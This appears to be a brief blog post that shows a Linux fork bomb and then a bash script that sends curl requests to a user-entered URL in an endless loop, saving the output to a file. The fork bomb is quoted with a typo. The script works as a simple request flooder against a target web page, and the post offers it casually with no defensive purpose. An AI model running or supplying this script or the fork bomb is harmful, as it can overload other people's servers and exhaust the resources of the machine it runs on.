Inspiration: the famous fork bomb in the Linux world.
Fork bomb:
:(){:|:&};.

It’s like a crazy binary tree that consumes the resources of the system constantly. Fork bomb has an impact size of 2^n.


The script here can’t do that terrible damage. Keep the size 2n, use curl to access the target page constantly, and redirect the standard output to the file read1 to keep the current terminal window clean.

#! /bin/bash
repeat(){
while :; do
    $@ && repeat $@
done
}
read -p "enter URL: " url
repeat curl $url 1>read1


Categories: Shell

0 0 votes
Article Rating
Subscribe
Notify of
guest

0 Comments
Inline Feedbacks
View all comments

Content Summary
: Input your strings, the tool can get a brief summary of the content for you.

X
0
Would love your thoughts, please comment.x
()
x